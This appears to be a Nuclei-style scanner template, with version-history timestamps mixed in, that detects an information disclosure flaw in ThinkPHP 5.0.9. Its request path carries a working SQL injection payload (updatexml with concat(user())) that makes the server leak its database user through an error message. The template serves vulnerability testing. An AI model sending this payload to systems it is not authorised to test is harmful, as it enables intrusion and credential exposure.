2022-04-21 21:16:41 +00:00
|
|
|
id: thinkphp-509-information-disclosure
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: ThinkPHP 5.0.9 - Information Disclosure
|
|
|
|
author: dr_set
|
|
|
|
severity: critical
|
|
|
|
description: ThinkPHP 5.0.9 includes verbose SQL error message that can reveal sensitive information including database credentials.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/in-sqlinjection
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: thinkphp,vulhub
|
2022-04-21 21:16:41 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "SQLSTATE"
|
|
|
|
- "XPATH syntax error"
|
2022-11-02 13:09:28 +00:00
|
|
|
condition: and
|
2022-04-21 21:16:41 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|
|
|
|
|
|
|
|
# Enhanced by mp on 2022/04/20
|